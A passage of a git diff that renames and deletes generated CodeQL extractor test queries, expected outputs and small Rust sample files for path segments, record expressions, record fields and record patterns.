rename from rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.expected
rename to rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.expected
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql
new file mode 100644
index 000000000000..23c06cef5064
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from PathSegment x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getIdentifier()
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql
deleted file mode 100644
index 6a68a4d7bba2..000000000000
--- a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from PathSegment x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected
deleted file mode 100644
index 99ac97381b3c..000000000000
--- a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_path_expr.rs:7:13:7:15 | <...> | gen_path_expr.rs:7:14:7:14 | T |
-| gen_path_expr.rs:8:13:8:31 | <...> | gen_path_expr.rs:8:14:8:21 | TypeRepr |
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected b/rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected
deleted file mode 100644
index 08c6bcb966d8..000000000000
--- a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected
+++ /dev/null
@@ -1,8 +0,0 @@
-| gen_path_expr.rs:7:14:7:14 | T | hasPath: | yes |
-| gen_path_expr.rs:7:14:7:14 | T | hasPath: | yes |
-| gen_path_expr.rs:8:14:8:20 | TypeRepr | hasPath: | yes |
-| gen_path_expr.rs:8:14:8:20 | TypeRepr | hasPath: | yes |
-| gen_path_type_ref.rs:5:14:5:48 | ...::HashMap::<...> | hasPath: | yes |
-| gen_path_type_ref.rs:5:40:5:42 | i32 | hasPath: | yes |
-| gen_path_type_ref.rs:5:45:5:47 | i32 | hasPath: | yes |
-| gen_path_type_ref.rs:6:14:6:20 | ...::Item | hasPath: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected b/rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected
deleted file mode 100644
index 1c4f84c6a60b..000000000000
--- a/rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected
+++ /dev/null
@@ -1,8 +0,0 @@
-| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T |
-| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T |
-| gen_path_expr.rs:8:14:8:20 | TypeRepr | gen_path_expr.rs:8:14:8:20 | TypeRepr |
-| gen_path_expr.rs:8:14:8:20 | TypeRepr | gen_path_expr.rs:8:14:8:20 | TypeRepr |
-| gen_path_type_ref.rs:5:14:5:48 | ...::HashMap::<...> | gen_path_type_ref.rs:5:14:5:48 | ...::HashMap::<...> |
-| gen_path_type_ref.rs:5:40:5:42 | i32 | gen_path_type_ref.rs:5:40:5:42 | i32 |
-| gen_path_type_ref.rs:5:45:5:47 | i32 | gen_path_type_ref.rs:5:45:5:47 | i32 |
-| gen_path_type_ref.rs:6:14:6:20 | ...::Item | gen_path_type_ref.rs:6:14:6:20 | ...::Item |
diff --git a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.ql b/rust/ql/test/extractor-tests/generated/Path/Path_getPart.ql
deleted file mode 100644
index 402b1354588a..000000000000
--- a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from Path x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getPart()
diff --git a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.expected b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/Path/Path_getPart.expected
rename to rust/ql/test/extractor-tests/generated/Path/Path_getSegment.expected
diff --git a/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.ql b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.ql
new file mode 100644
index 000000000000..7ccbefb4149b
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from Path x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getSegment()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected
deleted file mode 100644
index 90cc595d61e8..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected
+++ /dev/null
@@ -1,4 +0,0 @@
-| gen_record_expr.rs:5:17:5:34 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes |
-| gen_record_expr.rs:6:18:6:38 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes |
-| gen_record_expr.rs:7:5:7:22 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes |
-| gen_record_expr.rs:8:5:8:14 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordExprFieldList: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.ql b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.ql
deleted file mode 100644
index 56c14f27dfdf..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.ql
+++ /dev/null
@@ -1,22 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from
-  RecordExpr x, string hasResolvedPath, string hasResolvedCrateOrigin, string hasPath,
-  string hasRecordExprFieldList
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  (if x.hasResolvedPath() then hasResolvedPath = "yes" else hasResolvedPath = "no") and
-  (
-    if x.hasResolvedCrateOrigin()
-    then hasResolvedCrateOrigin = "yes"
-    else hasResolvedCrateOrigin = "no"
-  ) and
-  (if x.hasPath() then hasPath = "yes" else hasPath = "no") and
-  if x.hasRecordExprFieldList()
-  then hasRecordExprFieldList = "yes"
-  else hasRecordExprFieldList = "no"
-select x, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin,
-  "hasPath:", hasPath, "hasRecordExprFieldList:", hasRecordExprFieldList
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected
deleted file mode 100644
index 5aad8aad60c9..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected
+++ /dev/null
@@ -1,4 +0,0 @@
-| gen_record_expr.rs:5:17:5:34 | Foo {...} | gen_record_expr.rs:5:17:5:19 | Foo |
-| gen_record_expr.rs:6:18:6:38 | Foo {...} | gen_record_expr.rs:6:18:6:20 | Foo |
-| gen_record_expr.rs:7:5:7:22 | Foo {...} | gen_record_expr.rs:7:5:7:7 | Foo |
-| gen_record_expr.rs:8:5:8:14 | Foo {...} | gen_record_expr.rs:8:5:8:7 | Foo |
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.ql b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.ql
deleted file mode 100644
index ebebf557e691..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getPath()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected
deleted file mode 100644
index 79d18cac3b0d..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected
+++ /dev/null
@@ -1,4 +0,0 @@
-| gen_record_expr.rs:5:17:5:34 | Foo {...} | gen_record_expr.rs:5:21:5:34 | RecordExprFieldList |
-| gen_record_expr.rs:6:18:6:38 | Foo {...} | gen_record_expr.rs:6:22:6:38 | RecordExprFieldList |
-| gen_record_expr.rs:7:5:7:22 | Foo {...} | gen_record_expr.rs:7:9:7:22 | RecordExprFieldList |
-| gen_record_expr.rs:8:5:8:14 | Foo {...} | gen_record_expr.rs:8:9:8:14 | RecordExprFieldList |
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.ql b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.ql
deleted file mode 100644
index d524805d0012..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getRecordExprFieldList()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.ql b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.ql
deleted file mode 100644
index 25635cb050f9..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getResolvedCrateOrigin()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.ql b/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.ql
deleted file mode 100644
index 0f3230f3314a..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExpr x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getResolvedPath()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExpr/gen_record_expr.rs b/rust/ql/test/extractor-tests/generated/RecordExpr/gen_record_expr.rs
deleted file mode 100644
index 94742ca3bd50..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExpr/gen_record_expr.rs
+++ /dev/null
@@ -1,9 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_expr() -> () {
-    // A record expression. For example:
-    let first = Foo { a: 1, b: 2 };
-    let second = Foo { a: 2, ..first };
-    Foo { a: 1, b: 2 }[2] = 10;
-    Foo { .. } = second;
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected
deleted file mode 100644
index 46e7ce811bb7..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_expr_field.rs:5:11:5:14 | a: 1 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes |
-| gen_record_expr_field.rs:5:17:5:20 | b: 2 | getNumberOfAttrs: | 0 | hasExpr: | yes | hasNameRef: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.ql b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.ql
deleted file mode 100644
index 6a834cfd5ad6..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.ql
+++ /dev/null
@@ -1,12 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprField x, int getNumberOfAttrs, string hasExpr, string hasNameRef
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  getNumberOfAttrs = x.getNumberOfAttrs() and
-  (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and
-  if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no"
-select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasNameRef:", hasNameRef
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.ql b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.ql
deleted file mode 100644
index f667ec4f4792..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprField x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getAttr(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected
deleted file mode 100644
index cfb892424494..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_expr_field.rs:5:11:5:14 | a: 1 | gen_record_expr_field.rs:5:14:5:14 | 1 |
-| gen_record_expr_field.rs:5:17:5:20 | b: 2 | gen_record_expr_field.rs:5:20:5:20 | 2 |
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.ql b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.ql
deleted file mode 100644
index c05263942292..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getExpr()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected
deleted file mode 100644
index d0a3f82cd9d2..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_expr_field.rs:5:11:5:14 | a: 1 | gen_record_expr_field.rs:5:11:5:11 | a |
-| gen_record_expr_field.rs:5:17:5:20 | b: 2 | gen_record_expr_field.rs:5:17:5:17 | b |
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.ql b/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.ql
deleted file mode 100644
index fd3e3c0da50b..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getNameRef()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprField/gen_record_expr_field.rs b/rust/ql/test/extractor-tests/generated/RecordExprField/gen_record_expr_field.rs
deleted file mode 100644
index 6311fc03b008..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprField/gen_record_expr_field.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_expr_field() -> () {
-    // A field in a record expression. For example `a: 1` in:
-    Foo { a: 1, b: 2 };
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.ql b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.ql
deleted file mode 100644
index a68e94bea3f5..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.ql
+++ /dev/null
@@ -1,13 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprFieldList x, int getNumberOfAttrs, int getNumberOfFields, string hasSpread
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  getNumberOfAttrs = x.getNumberOfAttrs() and
-  getNumberOfFields = x.getNumberOfFields() and
-  if x.hasSpread() then hasSpread = "yes" else hasSpread = "no"
-select x, "getNumberOfAttrs:", getNumberOfAttrs, "getNumberOfFields:", getNumberOfFields,
-  "hasSpread:", hasSpread
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.ql b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.ql
deleted file mode 100644
index 546c4cdda0ac..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprFieldList x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getAttr(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.ql
deleted file mode 100644
index 47d0784b8a90..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprFieldList x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getField(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.ql b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.ql
deleted file mode 100644
index 494e680c8cf5..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordExprFieldList x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getSpread()
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/gen_record_expr_field_list.rs b/rust/ql/test/extractor-tests/generated/RecordExprFieldList/gen_record_expr_field_list.rs
deleted file mode 100644
index bb00282cad3f..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/gen_record_expr_field_list.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_expr_field_list() -> () {
-    // A RecordExprFieldList. For example:
-    todo!()
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField.ql b/rust/ql/test/extractor-tests/generated/RecordField/RecordField.ql
deleted file mode 100644
index 6cb0510df2c1..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordField/RecordField.ql
+++ /dev/null
@@ -1,14 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordField x, int getNumberOfAttrs, string hasName, string hasTypeRepr, string hasVisibility
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  getNumberOfAttrs = x.getNumberOfAttrs() and
-  (if x.hasName() then hasName = "yes" else hasName = "no") and
-  (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and
-  if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no"
-select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr,
-  "hasVisibility:", hasVisibility
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.ql b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.ql
deleted file mode 100644
index ba85fae117fd..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordField x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getAttr(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.ql b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.ql
deleted file mode 100644
index 07c40f02c8ba..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getName()
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.ql b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.ql
deleted file mode 100644
index ff17c17135bf..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getTypeRepr()
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.expected b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.ql b/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.ql
deleted file mode 100644
index b20e05587d91..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordField x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getVisibility()
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/gen_record_field.rs b/rust/ql/test/extractor-tests/generated/RecordField/gen_record_field.rs
deleted file mode 100644
index ece43571ef89..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordField/gen_record_field.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_field() -> () {
-    // A RecordField. For example:
-    todo!()
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql b/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql
deleted file mode 100644
index 6fdb617e3112..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql
+++ /dev/null
@@ -1,10 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordFieldList x, int getNumberOfFields
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  getNumberOfFields = x.getNumberOfFields()
-select x, "getNumberOfFields:", getNumberOfFields
diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql b/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql
deleted file mode 100644
index 8a20f3de13fd..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordFieldList x, int index
-where toBeTested(x) and not x.isUnknown()
-select x, index, x.getField(index)
diff --git a/rust/ql/test/extractor-tests/generated/RecordFieldList/gen_record_field_list.rs b/rust/ql/test/extractor-tests/generated/RecordFieldList/gen_record_field_list.rs
deleted file mode 100644
index 34add5d3754d..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordFieldList/gen_record_field_list.rs
+++ /dev/null
@@ -1,6 +0,0 @@
-// generated by codegen, do not edit
-
-fn test_record_field_list() -> () {
-    // A RecordFieldList. For example:
-    todo!()
-}
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected
deleted file mode 100644
index 9b996be23688..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_pat.rs:6:9:6:26 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordPatFieldList: | yes |
-| gen_record_pat.rs:7:9:7:18 | Foo {...} | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasPath: | yes | hasRecordPatFieldList: | yes |
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.ql b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.ql
deleted file mode 100644
index 3b0797773068..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.ql
+++ /dev/null
@@ -1,20 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from
-  RecordPat x, string hasResolvedPath, string hasResolvedCrateOrigin, string hasPath,
-  string hasRecordPatFieldList
-where
-  toBeTested(x) and
-  not x.isUnknown() and
-  (if x.hasResolvedPath() then hasResolvedPath = "yes" else hasResolvedPath = "no") and
-  (
-    if x.hasResolvedCrateOrigin()
-    then hasResolvedCrateOrigin = "yes"
-    else hasResolvedCrateOrigin = "no"
-  ) and
-  (if x.hasPath() then hasPath = "yes" else hasPath = "no") and
-  if x.hasRecordPatFieldList() then hasRecordPatFieldList = "yes" else hasRecordPatFieldList = "no"
-select x, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin,
-  "hasPath:", hasPath, "hasRecordPatFieldList:", hasRecordPatFieldList
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected
deleted file mode 100644
index 7cd2f51d9eb6..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_pat.rs:6:9:6:26 | Foo {...} | gen_record_pat.rs:6:9:6:11 | Foo |
-| gen_record_pat.rs:7:9:7:18 | Foo {...} | gen_record_pat.rs:7:9:7:11 | Foo |
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.ql b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.ql
deleted file mode 100644
index 90685024029a..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPat x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getPath()
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected
deleted file mode 100644
index bad0003c07bd..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected
+++ /dev/null
@@ -1,2 +0,0 @@
-| gen_record_pat.rs:6:9:6:26 | Foo {...} | gen_record_pat.rs:6:13:6:26 | RecordPatFieldList |
-| gen_record_pat.rs:7:9:7:18 | Foo {...} | gen_record_pat.rs:7:13:7:18 | RecordPatFieldList |
diff --git a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.ql b/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.ql
deleted file mode 100644
index 4f9cfdf1b5fe..000000000000
--- a/rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from RecordPat x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getRecordPatFieldList()
